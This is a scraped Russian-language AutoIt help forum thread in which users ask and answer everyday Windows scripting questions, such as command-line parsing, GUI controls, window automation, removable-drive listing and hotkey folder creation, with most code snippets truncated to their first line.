Пытаюсь сделать универсальную функцию для получения значения ком. строки: Код:
If $CmdLine[0] = 0 Then $CmdLineRaw = '/Param=1 -File "C:\Program Files\Some App\File - Name.txt" /URL "http://google.com"' |
Creat0R
Цитата:
Код:
If $CmdLine[0] = 0 Then $CmdLineRaw = '/Param=1 ^File "C:\Program Files\Some App\File - Name.txt" /URL "http://google.com"' |
amel27,
Цитата:
Хотя есть проблема с путями без кавычек, они обрубаются на перевом пробеле :( - Нужно либо до кавычки, либо до разделителя (/ или -). Цитата:
Код:
$String = "test [or] example ;)" |
В принципе, можно было бы указать постоянный разделитель, но он должен быть опционально задан в параметре. Т.е вся строка может содержать параметры только одного характера, но нужно сделать так, чтобы функцию можно было применять на разные строки. Вот что у меня (не) получилось:
Код:
If $CmdLine[0] = 0 Then $CmdLineRaw = '/Param="1" /File=C:\Program Files\Some App\File - Name.txt /URL="http://google.com"' P.S $sCmd_Delim это и есть указатель на резделитель, т.е в одной строке могут быть только такие разделители: /Param=, или только такие: -Param=, или такие например: -Param:, но не смешанные (как я задумывал в начале). |
Creat0R
Цитата:
Код:
$CmdLineRaw = '/Param="/URL http://mail.ru" .File "C:\Program Files\Some App\File - Name.txt" /URL "http://google.com"' Цитата:
Цитата:
|
Может кто нибудь подсказать как можно взять из файла символы и отправить их в активное окно как нажатие их на клавиатуре
|
amel27,
Цитата:
Цитата:
kronic Цитата:
Цитата:
|
Creat0R
Цитата:
Код:
$sArgument = "\Q"& StringReplace($sArgument,"\E","\E\\E\Q") &"\E" Цитата:
насколько я понял, ты хочешь заменить стандартные спецсимволы кавычки и пробела на свои - символы начала/конца блока параметра ("/-"), внутри которого имя параметра от его значения разделяется другими спецсимволами ("=: "), не будет ли это сменой "шила на мыло" ;) - указанные спецсимволы уже нельзя будет просто так указывать в значении параметров... например, придется брать в кавычки (вместо пробелов) ... заметь, что при этом пробел теряет свой статус и значение может включать несколько строк с экранирующими кавычками, т.е. обработку концевых символов придется проводить отдельно Код:
If $CmdLine[0] = 0 Then $CmdLineRaw = '/Param=1 /Fil\e "C:\Program Files\Some App\File" - "Name.txt" /URL:"http://google.com"' |
Цитата:
Цитата:
Цитата:
Цитата:
P.S Спасибо за пример, но там тоже есть проблемы, например если убрать кавычки у /URL, то возвращается только «http:». Также парамтеры должны разделяться не одним префиксом, а ещё и пробелом в начале, т.е чтобы значение считалось до того момента, пока не обнаружен пробел с префиксом (где «/Param1=Val1/Param2=Val2» уже неверная строка, тут значением считается Val1/Param2=Val2, вот если бы после Val1 был пробел, тогда второй параметр не входил в значение :wacko: ). |
Creat0R
Цитата:
Цитата:
Код:
If $CmdLine[0] = 0 Then $CmdLineRaw = '/Param=12 /XXX /Fil\e "C:\Program Files\Some App\File" - "Name.txt" /URL:"http://google.com"' |
amel27,
Цитата:
Цитата:
Пример: Код:
If $CmdLine[0] = 0 Then $CmdLineRaw = '-Param=1 -XXX=xVal -File=C:\Program Files\Some App\File - Name.txt -URL=http://google.com' P.S Теперь что получается, нужно почти при каждом использовании RegExp, применять метод отмены спец. символов (\Q...\E)? |
Creat0R,
Спасибо на руборде мне и ответили |
Creat0R
Цитата:
Цитата:
Цитата:
Цитата:
Код:
If $CmdLine[0] = 0 Then $CmdLineRaw = '-Param=1 -XXX -File=C:\Program Files\Some App\File - Name.txt -URL=http://google.com' |
здраствуйте
подскажите как через autoit получить мак адресс |
Цитата:
|
В том коде у меня вылетает ошибка error : Variable must be of type 'object'
И гетмак.ехе тж почемуто выдает ошибку ( Мне необходимо присвоить $mac = адрес Есть еще какие-нибудь алтернативные варианты ? |
Цитата:
Код:
$arr = _NetAdapterGetProp() |
Есть такая хрень для обновления антивирусных баз Symantec - называется SARC Intelligent Updater, друзья, помогите сделать AutoIt скрипт для этого "чуда" ...
Я сам пытался, но последнее окно (уже после обновления баз) никак не удается отловить и нажать там кнопочку "ОК", а это ооочень нужно! Спасибо! |
Всем привет. Как получить имя функции из которой вызывается команда
|
amel27,
Цитата:
morres, DobroeZlo, Неужели вы серъёзно ожидаете получить помощь на основе того что вы запостили? Этого явно недостаточно для задачи. |
Creat0R,
Я имею в ввиду следующее: есть например функция Func Some() ....... MsgBox(0, "FuncName", "здесь должно быть имя функции Some") EndFunc Есть какая нибудь функция для определения имени ? Спасибо! |
Помогите пожалуйста избавиться от иконки в трее
Добавляю код: Код:
AutoItSetOption("TrayIconHide", 0) |
D_Master
Код:
#NoTrayIcon |
опять обращусь с тем же вопросом:
почему-то не пашет у меня функция _IEFormSubmit($oForm) название кнопки я указал правльно, как в дебагере указано.... зато при посылке "Enter", подтверждение происходит..... че я не так делаю?? код Код:
#include <IE.au3> --> IE.au3 V2.4-0 Warning from function _IEFormGetObjByName, $_IEStatus_NoMatch --> IE.au3 V2.4-0 Error from function _IEFormSubmit, $_IEStatus_InvalidDataType видимо, просто не может найти имя еще вопрос, как мона нажать кнопку в окне ие, если нет имени?..... во че выдает дебагер <INPUT onclick="gotolocation('connection0')" type=image src="../html/images/connection1.jpg" target="_self"> и все.... |
DobroeZlo,
Цитата:
P.S Уже не помню для чего, но мне как то тоже подобное нужно было, единственное что пришло на ум, так это пропарсить весь скрипт другим, внешним скриптом, добавив в начало скрипта глобальную переменную (к примеру $sCurrent_FuncName), и в начало каждой функции присвоить этой переменной значение имени функции. Но вопрос в том, насколько оно нужно? |
Цитата:
Не размещал тут свой код, чтобы не забивать голову тому, кто попробует... Сам скрипт: Код:
Run("\\srv\soft\Symantec\updat32.exe") Глюк начинается на строке WinWait("SARC Intelligent Updater","OK") т.к. это окно просто не удается отловить, пробовал поразному, но моих познаний в AutoIt, видимо, недостаточно... |
morres,
Цитата:
Цитата:
Цитата:
Если второе, то видимо проблема в том, что окно создаётся немного раньше, но оно просто скрыто, тут можно попробовать ждать видимости окна: Код:
_WinWaitVisible("SARC Intelligent Updater", "OK") |
Новая версия утилиты Au3ToPost 1.8!
(Архив включает откомпилированную версию). Список изменении: Цитата:
|
morres,
Цитата:
эта функция подождет пока окно будет активным)) еще есть sleep поставь 1-2 сек между WinWait и ControlClick PS: думаю, твой код сильно перегружен лишним например, не вижу смысла в WinActivate PPS: попробуй так завершить обновление: Код:
WinWait("SARC Intelligent Updater","OK") можешь в мой пример поставить вместо ControlClick должно пахать:) |
morres
Цитата:
- окна "&Да" и "ОК" отличаются не только текстом, но и заголовком (там два пробела, а не один); - нелогично активировать окно для ControlClick (это обычно практикуют для Send); - ControlClick срабатывает не всегда (?), но можно поставить проверочный цикл: Код:
Run("\\srv\soft\Symantec\updat32.exe") |
Цитата:
тобишь, окно появилось, кнопка уже есть, но она не активна, скрипт по ней кликает и ничего не происходит. скрипт думает, что все прошло отлично))) насчет условного цикла, это вроде как, самое рациональное решение)) |
Появилась идея автоматизировать на работе рутину с почтой. Хотелось бы узнать слаткивался ли кто нибудь с такой проблемой и решал ли её при помощи AutoIt:
Задача - проверить почту Microsoft Office Outlook и извлечь вложеные файлы (txt) в папку, причем текстовые файлы иногда имеют одинаковое название но отличаются по содержимому, соответсвенно из файла извечь определенную строку и создать папку с названием этой строки. Подскажите в какую сторону копать? |
Цитата:
Цитата:
Цитата:
Цитата:
Друзья, огромное спасибо! |
Lodoss
Цитата:
примеры: Outlook, Read the Inbox, Outlook ... accessing the body of emails sent as attachments |
Привет всем.
Нужно чтобы скрипт AutoIt открыл "Язык и региональные стандарты". Kакой командой нужно воспользоваться? может кто сталкивался с подобным явлением? |
minutka15,
Цитата:
Код:
Run(@ComSpec & " /c Start Intl.cpl", @SystemDir, @SW_HIDE) |
Creat0R,
Спасибо! Отличный ответ. А я голову ломал, прописывал все что угодно кроме этого! |
Подскажите как можно из текстового файла взять его содержимое с пробелами и переносами и вставить в Word или другой текстовый файл ?
|
Цитата:
Код:
#include <Word.au3> |
Чем дальше в лес тем больше дров, совсем запутался с такой задачей, есть строка в текстовом файле из которой нужно вырезать одно слово. Подскажите как это сделать ? Пытаюсь мудрить с функцией StringLeft и StringMid но нему понять. Help !!! :(
|
Цитата:
|
Цитата:
Опять возвращаюсь к своей проблеме - отправке в НЕактивное окно с игрой команды о нажатии клавиши. Единственный разумный вариант: ControlSend("GameName", "", "", "{F1}") не работает... Неужели совсем пропащее дело? |
Помогите плиз в написании скрипта. Приветствуется скрипт именно на AutoIT, так как там можно всё в exe файл засунуть, и не светить пароли.
Алгоритм примерно такой! 1 скрипт: Проверить наличие новых файлов на FTP(с использованием определённой учётки) сравнивая с c:\update Если обновлений нет - закончить работу! Если обновления есть скопировать их в c:\update и удалить старые файлы. Файлы имеют вид lpt$vpn.* расширение меняется с каждым новым файлом :( 2 скрипт: Проверить доступность сетевого ресурса \\ip\update (с использованием определённой учётки) Если ресурс не доступен перейти к проверке следующего ресурса если ресурс доступен скопировать файлы из c:\update в \\ip\update перейти к проверке следующего сетевого ресурса Проверить доступность сетевого ресурса \\ip1\update (с использованием определённой учётки) Если ресурс не доступен перейти к проверке следующего ресурса если ресурс доступен скопировать файлы из c:\update в \\ip1\update и т.д. Закончить работу! Всё это дело логировать! |
Dump
Обсуждалось неоднократно. Ищи в теме по слову FTP |
Подскажите пожалуйста как при автоматической установки программ в файле RunOnceEx сделать паузы между командами. Приведу пример. Допустим у меня в файле RunOnceEx что то типа этого:
REG ADD %KEY%\%i% /VE /D "Winrar" /f REG ADD %KEY%\%i% /V 1 /D "%systemdrive%\install\winrar\win.exe /(ключ)" SET /A i+=1 REG ADD %KEY%\%i% /VE /D "MFramework 2.0" /f REG ADD %KEY%\%i% /V 1 /D "%systemdrive%\install\frame\install.exe /(ключ)" SET /A i+=1 EXIT В этом случае будет все нормально. Сначала поставится Винрар, потом Framework. А если у меня первая команда будет ссылаться не на файл *.exe, а на*.cmd, который уже немного погодя запустит *.exe файл. Но при этом уже запустится установка второй программы, в данном пример Framework. И если Винрар и Framework использовали один инсталятор, то видимо возник бы конфликт. Поэтому я хочу делать паузу между этими командами на n-ное количество секунд. На сайте oszone читал примерно про следующую команду: ping -n * 127.0.0.1 > nul, где * количество секунд. Может она и не должна работать в RunOnceEx, но тем не менее я попробЫвал.)) Не заработало. Еще читал про ключ /sms, но он мне неподходит для моего инсталятора. Мои программы используют WinInstaller. Кто знает подскажите как сделать паузу между командами в RunOnceEx... |
Подскажите пожалуйста как скрыть ранее созданный элемент с формы (т.е я создал например какой нибуть Edit на форме, мне нужно по нажатию определённого Buttona скрыть этот объект (Edit например) с формы). На C++ Builder'e это выглядит так: Edit1->Vidible = false;, как осуществить аналогичное на Auto IT?
|
Evgeniy_Spartak,
Цитата:
ganselo, Цитата:
Код:
#include <GuiConstants.au3> |
Цитата:
Ещё вопрос. Как в процессе выполнения программы изменять размеры формы (т.е при нажатии Button'a размеры формы должны увеличиватся/уменьшатся)? |
ganselo,
Цитата:
|
Цитата:
|
ganselo
Пример: Код:
#include <GuiConstants.au3> |
Цитата:
Лучше доверить это дело самому CMD-файлу: Код:
Start /WAIT "" "%systemdrive%\install\winrar\win.exe" /(ключ) |
А вот у меня такой вопросик, может ли автоит каким нибудь способом заблокировать пользователю доступ к файлу?
Можно с подключением библиотек только можно попонятней если с библиотеками? |
morgan1991,
Цитата:
|
Цитата:
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Вообщем хочется сделать чтобы независимо какой файл можно было заблокировать, допустим будет выбрано несколько файлов а программа будет запрещеть доступ к ним независимо от прав пользователя.
|
Цитата:
Код:
$sFile = FileOpenDialog("Select a file", "", "All files (*.*)") WinXP SP3 FS:NTFS |
А вот вариант куда более примитивный (для Fat):
Код:
HotKeySet("{ESC}", "Quit") Работает не для всех файлов, зависит от приложения сопоставленного с типом файла. Цитата:
|
Этот вариант мне больше понравился:
Код:
$sFile = FileOpenDialog("Select a file", "", "All files (*.*)") МОжет кто подправит? |
Всё, разобрался сам, спасибо)
|
morgan1991,
Цитата:
|
Цитата:
Код:
$sFile = FileSelectFolder("Select the folder", "") |
В автоите 3.2.8.1 это работает
Код:
GUICreate("MpF realmlist ver 0.6", 400, 400, -1, -1, $WS_POPUP) |
AutoIt3\Include\WindowsConstants.au3
Global Const $WS_POPUP = 0x80000000 Та же фигня была. Потом пропало. Не знаю, почему. М. б. из-за того что установил полный SciTE4AutoIt3. Не знаю точно. |
Цитата:
|
помогите
написал тут код ,Но есть проблема Я могу закрит иконку ,толко нажав ESC или Enter что надо даписат что бы иконка закривалас при нажатии мышки на нее? TEMP = дорожка к *.png($temp = "E:\VBA\AutoIt\GUI\1.png" ) Код:
#NoTrayIcon |
Цитата:
|
Объясните кто нибудь, откуда берётся название устройства "REMOVABLE" в окне сообщения в этом скрипте ...
Непонятно одно, что значит в переменной $var[$i] значение в квадратных скобках ? [$i] Возможно вопрос тупой Но непонимаю Я ... если можно объясните с начала скрипта. $var = DriveGetDrive( "REMOVABLE" ) If NOT @error Then MsgBox(4096,"", "Found " & $var[0] & " drives") For $i = 1 to $var[0] MsgBox(4096,"Drive " & $i, $var[$i]) Next EndIf |
shyra1976,
Цитата:
morgan1991, Цитата:
FlatX007, Цитата:
Цитата:
Цитата:
Код:
;Получаем в массив все съёмные носители (USB-флэшки, Floppy-диски и т.п.) |
Цитата:
|
morgan1991,
Цитата:
|
Цитата:
|
|
Цитата:
Вы могли бы скинуть библиотеку #include <Misc.au3> |
Цитата:
Цитата:
|
У меня что то не работает
|
shyra1976,
Цитата:
|
shyra1976
Привет! Давай сделаем так: ты скачиваешь последнюю стабильную версию AutoIt и полный пакет редактора SciTE (желательно). Устанавливаешь эти программы (предварительно удалив старые версии этих программ), пробуешь запустить свой проблемный код, и в случае ошибок или проблем с кодом, постишь здесь описание проблемы, с примером желательно :) Удачи! ;) |
Может быть просто закрыть права на доступ к файлу текущему пользователю?
|
Ребят, может кто-нить подкинуть готовый скрипт сворачивания определённого окна - т.е. щелчок на развёрнутом во весь экран окошке по кнопочке свернуть, окошко я уже сам подставлю надеюсь... :)
|
Maza Faka, У тебя тоже не работает блокировка на NTFS? (мой скрипт).
SAOPP, Цитата:
|
Да мне не плох, мне нужно :)
Извиняюсь, между вторыми кавычками мне нужно вписать своё окошко? Ещё вопрос, он будет ждать до появления такого окна, или? |
|
Цитата:
|
Цитата:
|
Вариация на тему поставленной задачи... Странный вопрос :)
|
Цитата:
Цитата:
Код:
#include <WindowsConstants.au3> |
Вложений: 1
Цитата:
PHP код:
|
Maza Faka, если рассказать в кратце, то что мне нужно сделать:
1. В авторане стоит soulseek 2. В свойствах его ярлыка стоит запускать во весь экран (это я так хочу сделать, дабы потом его в ручнуб не увеличивать) 3. Нужно после того, как он загрузится, свернуть его - тогда он попадёт в трей(!) Это и есть задача сама :) 4. И здесь уже после запуска скрипта задать время в секундах, после которого скрипт бы сработал - дав таким образом SoulSeek'у загрузиться полностью. Поскольку, если в ярлыке указать сворачивать в значок, то он просто свернётся на панель задач, в отличии например от Total Commander'а, который нормально при таких действиях с ярлыком сворачивается в трей после запуска... И кстати, из приведённого скрипта, я могу понять, что он с начала запускает приложение, а затем уже сворачивает его, верно? Можно ли задать разворачивание на весь экран, либо сразу, либо после запуска? |
Цитата:
|
Dobavil
|
shyra1976,
У меня почему то удаётся это сделать только по двойному щелчку (можно конечно избавиться от перетаскивания иконки, но я так понял оно тоже нужно?)... Код:
#NoTrayIcon |
SPASIBO, YRA zarabotalo
I eshe ,Kak ti pishesh kod v foryme ,Chto on tak krasivo polychaetsia? |
Можно ли как нибуть сделать так, чтобы откомпиленный скрипт не палился в Диспетчере задач? и если да, то как?
|
Цитата:
скачать Au3ToPost 1.8 |
Вложений: 1
Код:
;~ #include <GUIConstants.au3> Мужыки спасибо Получилось вот так : $temp = @ScriptDir & "\1.png" Transp_PNG($temp,x,y) ;-vizov где : $temp - дорога к file ($temp = @ScriptDir & "\1.png") x - прозрачность y - плавностьпоявления |
Привет.
Подскажите как определить имя диска, в который вставлена флешка. |
Цитата:
Код:
$sDrive = StringLeft(@ScriptDir, 2) & "\" |
Я как понял, здесь не только о скриптах для автоустановки приложений речь идет, можно я тоже поинтересуюсь? :)
Сразу предупреждаю, что в AutoIt'e полный нуб :) Так вот, хотелось бы проверить значения ключей реестра и целого раздела. Но не получается сделать следующее: 1. Проверить, собственно, полностью раздел на наличие каких-либо ключей; 2. Отобразить все проверенные значения за раз. Единственное, что сделал (по мануалу :)): Код:
$key = RegRead ( "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon", "Userinit" ) Если кто поможет, буду рад :) |
D_Master, Я выкладывал библиотеку для работы с реестером, в ней вроде есть то что тебе нужно.
|
Creat0R, было бы просто здорово, если бы вы примерно объяснили бы, как с ней работать :) А то я аж ужаснулся как код увидел :)
|
Цитата:
Не до меня всё равно не доходит малец :) откуда берётся буква диска в окне сообщения MsgBox(4096,"Drive " & $i, $var[$i]) водит взаблуждение вот эта запись ... & $i, $var[$i], что она означает и откуда что берётся ?? |
Подскажите,как переделать питоновский скрипт отсылающий некоторые данные на некоторый УРЛ
Код:
#!/usr/bin/python |
Цитата:
Код:
$aKeysListArr = _RegReadKeyValueToArray("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 1) Цитата:
Цитата:
Может ещё стоило бы заглянуть в справку (в русскую), там вроде понятно описывается работа с массивами. |
я из русской справки это взял!
Я знаю что такое массив и цикл ... емаё :) откуда берётся буква в окне сообщения ... почему именно написание такое MsgBox(4096,"Drive " & $i, $var[$i]) .... а не вот такое MsgBox(4096,"Drive ", $var) Ну подробно пожалуста именно эту строку ... я всю голову сломал... Или проще подскажи как зделать раскрывающийся список [ GUICtrlCreateCombo ] в GUI окне и чтоб в этом списке отображались Флешки , если флешки 2 то сопственно 2 пункта с буквой устройства. Вот чего я хотел добится ! |
Цитата:
Цитата:
Я не знаю как подругому объяснить работу массивов :idontnow: . Цитата:
Код:
$Gui = GUICreate("Removable Drives List", 350, 120) |
Цитата:
|
Подскажите, пожалуйста, как послать комбинацию ctrl+alt+del (нужна для блокировки/разблокировки компьютера). Простой Send не помогает.
Код:
Send ("^!{DEL}") |
здравствуйте возник маленький вопрос как можно реализовать на autoit включение ПК в определёное время. Видел когдато такую функцию на языке "Ford" компьютер уходил в спящий режим а в указаное времья просыпался. Но это были первые шаги и реализовать это несмог а щас несмог найти эти записи.
|
Цитата:
Цитата:
|
Цитата:
Код:
Send("#l") |
Выдержка из справки по автоиту:
Цитата:
Run (@WindowsDir&'\system32\rundll32.exe user32.dll,LockWorkStation') ------------ По поводу сообщения ниже... Уссацо!!! |
Цитата:
|
Цитата:
|
Ну если уж начали флудить, то и я присоединюсь... Есть такая тема ERD Commander 2005 (2008) вот там можно управлять и паролями и всякой дребеденью... включая службу восстановления системы.
|
Народ, подскажите плз...
1. Как определить наличие папки? 2. Имеется на С:\ папка "ПОЛЬЗОВАТЕЛЬ" и на D:\ в папке "Документы" папка "ПОЛЬЗОВАТЕЛЬ".... В папке "Документы" кроме папки "ПОЛЬЗОВАТЕЛЬ" могут присутствовать и другие папки (тоже самое и с диском С:\). Мне нужна как бы сверка, если на С:\ есть такАЯ папкА как и диске D:\ в папке "Документы", то выводится сообщение...если нет...ничего не происходит... Заранее спс. |
TERMINAL, ты уточни, что тебе надо. Просто проверить наличие папки с таким-же названием или надо сравнивать по размерам, контрольным суммам или еще чему нибудь?
---------- Можно, конечно и так: if FileExists ('C:\ПОЛЬЗОВАТЕЛЬ')=1 AND FileExists ('D:\ДОКУМЕНТЫ\ПОЛЬЗОВАТЕЛЬ')=1 THEN MsgBox (0, 'test', 'есть обе папки!') ---------- Если что-то не так - уточни требования. |
Цитата:
Код:
$IsFolder = _PathIsFolder(@ScriptDir) Цитата:
|
Grammaton Cleric, сравнивать по названиям папок...
Creat0R, спасибо, чесно говоря я думал что команда FileExists() только для файлов, а не для папок-это ставит всё на свои места. |
Creat0R, А это что за выкладку ты дал в последнем сообщении? Чего-то я не могу понять, что это за функции....
|
Цитата:
Код:
$IsFolder = _PathIsFolder(@WindowsDir) Цитата:
|
Подскажите плз как сделать, если дата больше указаной-выводится сообщение что больше, если дата меньше указанной-выводится сообщение что меньше
Заранее спс. Creat0R, Во первых эта функция у меня ошибку выдаёт, а во вторых, где прописывать папку которую я хочу сверить? |
Цитата:
Цитата:
Цитата:
|
Цитата:
|
Creat0R, Вроде вот ошибка
Цитата:
Creat0R, не понял нужды в функции _DateDiff() и ей подобных-все пересмотрел раньше и ещё раз-думаю они в этом случае неполезны |
Цитата:
Цитата:
Код:
If @YEAR & @MON & @MDAY > 20090309 Then MsgBox(64, @MDAY & @MON & @YEAR, "больше чем 09032009") |
Цитата:
Цитата:
|
Цитата:
|
6757439
AFAIK штатными средствами программно разблокировать компьютер нельзя: Цитата:
Вот ещё с офф. форума И ещё :) |
Maza Faka, вау, большое спасибо, недогадался
Maza Faka, я думал [C:\WINDOWS] IsFolder = True и есть ошибка |
Цитата:
ЗЫ. я так понял что нет вариантов разблокировки кроме физического нажатия злополучных ctrl+alt+del .......... :( |
Новая версия AutoIt 3.3.0.0 доступна на оф. сайте.
Кроме прочего, пофиксили DllCallbackFree() который крашил скрипт :) |
Доброе утро помогите разобраться с комбинированым списком чтобы при выборе нужного значения при нажатии на кнопку производилась запись в ини файл. Уменя какое бы значение невыбрал запись идет час=3 мин=4
код: #include <GUIConstants.au3> GUICreate("Будильник 001", 200, 120) $A2 = GUICtrlCreateCombo ("час", 5, 30, 50, 20) GUICtrlSetData(-1,"00|01|02|03|04|05|06|07|08|09|10|11|12|13|14|15|16|17|18|19|20|21|22|23", "час") $A3 = GUICtrlCreateCombo ("мин", 65, 30, 50, 20) GUICtrlSetData(-1,"00|05|10|15|20|25|30|35|40|45|50|55", "мин") $Button_01 = GUICtrlCreateButton ("Подтверждение изменения", 10, 55, 60, 20) GUISetState(@SW_SHOW) While 1 $msg = GUIGetMsg() Select Case $msg = $Button_01 IniWrite("kukushka.ini", "Boi_001", "has", $A2) IniWrite("kukushka.ini", "Boi_001", "min", $A3) Exit EndSelect WEnd |
litus
Для получения значения используй функцию GUICtrlRead Код:
#include <GUIConstants.au3> |
6757439 ,Ну вот, собственно, не понятно, про какой ключ вопрос... Вообщето просит пароль пользователя. Результат тот же что и от Win+L. То есть просто надо вводить имя и пароль (или только пароль, если имя уже есть) пользователя, под которым сидел. Если пароля у пользователя нету, тогда еще проще. Не надо вводить пароль...
Перед блокировкой не забудь вспомнить пароль! |
Creat0R, спасибо.
Из твоего ответа FlatX007 нашел что было нужно. |
Цитата:
|
6757439, этож где вы такую винду нашли что по нажатию ctrl+alt+del компьютер блокируется?
Насколько я знаю по этому нажатию вылетает диспетчер задач, а на некоторых windows вылетает окно с выбором заблочить комп или запустить диспетчер задач и чтото ещё. А win+l как раз и блокирует пользователя. И ещё мне интересно каким образом будет вводиться пароль если при блокировке компа Autoit ничего сделать не сможет? |
Доброе утро хотелось реализовать такую фишку в комбинированом списке чтобы по умолчанию всегда отображалось текущее системное время.
Пример кода: $A001 = @HOUR $ABC1 = GUICtrlCreateCombo("", 5, 30, 50, 20) GUICtrlSetData(-1, "00|01|02|03|04|05|06|07|08|09|10|11|12|13|14|15|16|17|18|19|20|21|22|23", "@HOUR") Как я его не вертел самое большое что добился это значение @HOUR. |
Цитата:
Для установки текущего времени в формате PC используй функцию _Now |
Юзаю функцию _Now возращает в значение комбинированого списка "0" да и посещают сомнения в тестовом варианте возращаеться формат 27.12.2008 13:45:08 " а нада чтобы возращалось к примеру приводимом ниже только значение часа "13"
|
Цитата:
Код, как я понял, такой (с инклюдом): Вот только результат никуда не выдается :( Читал в справке инфу по ConsoleWrite, но не понял назначения функции: Цитата:
Можно ли сделать, к примеру, алерт со списком ключей ветки и их значением? |
Цитата:
Цитата:
Код:
#NoTrayIcon |
Цитата:
Убери кавычки обрамляющие @HOUR. |
Спасиба всё отлично работает собрал говорящие часики с кукушкой бьёт каждый час. Теперь благодаря вам можно усыплять ПК и будить его в заданое времья.
|
Я новичок! Не подскажите команду которая находит в таком-то координате такой-то color и выполняет функцию?
|
Цитата:
Код:
$nColor = PixelSearch(200, 150, 220, 170, 0xFFFFFF) |
спасибо!!!
|
Имеется массив строк. Как обратиться к определённому символу определённой строки?
$Array[$i][$n] не подходит... |
Цитата:
|
Ещё два вопроса: Как сделать чтобы этот скрипт искал эти пиксели в определённом окне? и как сделать что бы он ждал их появления (пикселей) и не выключался, а то он у меня проверяет координаты прямоугольника, не находит нужного цвета и выключается.
|
Цитата:
Код:
HotKeySet("{ESC}", "_Quit") |
Хочу, чтобы в Новом 2009-м году при нажатии на какую-нибудь горячую клавишу создавалась новая папка в активном окне, а то надоело постоянно клацать правой кнопой мыши, целиться в создать, потом в папку... долго это. Да и названия "Новая папка", "Новая папка (2)" поднадоели; хочется, чтоб их можно было поменять (к примеру, чтоб было "0", "1", "2" и т. д.). Прога для назначения горячей клавиши на приложение у меня есть, да и в Windows есть такая функция, а вот скриптик хотелось бы поиметь. Может можно это на AutoIt сделать? Или при помощи командной строки. Может есть проги, которые позволяют это делать? Помогите пожалуйста.
|
Цитата:
BonD 007, Цитата:
Код:
#NoTrayIcon |
Цитата:
Код:
#NoTrayIcon |
Просто поместить код из предыдущего сообщения в файл с расширением ".au3", запустить, нажать Ctrl + Shift + n и появится папка? Что-то не получается. И ещё. Когда я писал "в активном окне", я имел ввиду чтобы, к примеру, при нажатии тех же Ctrl + Shift + n создавалась папка в любом окне Explorer'а, которое в данный момент активно (или на рабочем столе) независимо от того, где лежит скрипт.
|
Цитата:
Код:
#NoTrayIcon |
Цитата:
|
Цитата:
|
Цитата:
|
ganselo, katok888,
Цитата:
|
Цитата:
|
Creat0R,
Цитата:
Код:
FolderView |
Цитата:
И еще... На Рабочем столе папки создаются, а в проводнике нет. |
Все равно не работает
|
Помогите сделать небольшой скрипт, сам в программировании не силен
Смысл в том, что имеется запускной файл (допустим Zapusk.exe), при его запуске появляется окно с полосой проверки измененных файлов в папке "sys", после проверки в окне загорается кнопка "установить", после нажатия этой кнопки закрывается процесс Zapusk.exe и открывается Ustanovka.exe, вот надо чтобы после нажатия этой кнопки "установить" - процесс Ustanovka.exe не запустился, а сначала переименовывалась папка "sys" в папку "sys1", а после - папка "path" в папку "sys", и только потом с новой папки "1" запускался процесс Ustanovka.exe. Понимаю что заумно, но прошу помочь, вот код скрипта, где вопросы это то место где надо вставить то чего я не понимаю :) Код:
If FileExists("path") Then Забыл сказать, просто так файл Ustanovka.exe не запустишь, тока через Zapusk.exe |
ganselo, katok888,
У вас я так понял Vista? Я проверял на XP :shuffle: Цитата:
Так или иначе, вот версия-отладчик, будет записывать лог, если не работает, лог в студию: Код:
#NoTrayIcon |
Цитата:
Цитата:
|
Цитата:
Цитата:
вот структура папок: Код:
-Path |
Creat0R,
Код:
2009-01-04 09:29:03>> ============ Debug Log For [Folder.exe] Started... |
Цитата:
Цитата:
Код:
If FileExists("path") Then |
katok888, Я не вижу что вообще была попытка создать папку, ведь для этого нужно нажать «Ctrl + Shift + N» :)
|
Цитата:
Код:
2009-01-04 12:54:55>> ============ Debug Log For [AutoIt v3 Script.au3] Started... Цитата:
|
Creat0R, Ну так я и нажимал
|
ganselo, katok888,
Проблему нашёл вроде, у вас адресная строка выключенна в проводнике? :) - Щас попробую найти решение... |
Цитата:
|
Цитата:
|
Включил адресную строку и всё заработало.
|
Вообщем вот ещё одна версия, если путь не найден, путь определяется методом создания временного файла с использованием буфера обмена. Есть также метод где происходит откат адресной строки, для этого нужно установить 1 у переменной $iGet_Path_Method. Так или иначе, оба метода не самые надёжные :beta: :jester:
* Также добавил поддержку очерёдности запуска функции - По идее, если нажимать заветные горячие клавиши несколько раз подряд, то папки будут создаваться по очерёдно, в логе будет это записано (попытка двойного вызова, и запись с очереди). Код:
#NoTrayIcon |
Цитата:
|
Ребят, прошу помощи по следующему вопросу, я уже как-то постил подобное, но вот сегодня решил всё же решить, если это решаемо.
Есть окно с вот таким заголовком: ![]() Нужно его свернуть, но только что бы скрипт например отработал после своего запуска через определённое количество секунд, например 5. Можно попросить кого-нить, если не затруднит написать скриптик подобный, если достаточно того, что я предоставил, т.е. заголовок содержит SoulSeek? Заранее благодарен. |
Цитата:
Код:
$iTimer = TimerInit() |
Код:
_Test() мужики,помогите Есть рекурсия , она вызывает сому себя .А когда выходит закрывает себя столко раз сколко открыла себя Вопрос : как сделат так ,что бы Return SetError(1) деиствително возврощал "1" после закритии рекурсии Да же если она откривалась несколко раз |
Цитата:
Код:
_Test() Код:
_Test() |
Creat0R, а можно что бы после завершения своих действий, скрипт закрывался?
И ещё, можно ли сделать так, что бы скрипт кликал мышкой на кнопочку свернуть, поскольку текущие параметры не сворачивают SS в трей, он по прежнему ложится на панель задач, т.е. собственно, что я и пытаюсь решить :) Спасибо и ещё раз заранее благодарен. |
Creat0R,
спасибо тебе ,и здоровья бычьего ,что бы мог дальше отвечат на наши вопроси |
Цитата:
Цитата:
|
Цитата:
Цитата:
|
Цитата:
Код:
Sleep(5000) Цитата:
|
Цитата:
Цитата:
Код:
$iTimer = TimerInit() |
Можно ещё так попробовать:
Код:
Sleep(5000) Цитата:
|
Последний скрипт прекрасно работает :) Теперь нужно только его сопоставить правильно доя работы :) Спасибо огромное.
Причём работает он на любом окне, не зависимо от заголовка насколько я понял - прав? |
Цитата:
|
Почему тогда Тотал Коммендер он тоже сворачивает? :)
|
Или Оперу :)
|
Вложений: 1
Такой вопрос, помогите: мучаюсь, не могу реализовать свои замыслы. Вот в этом примере:proba.au3 :
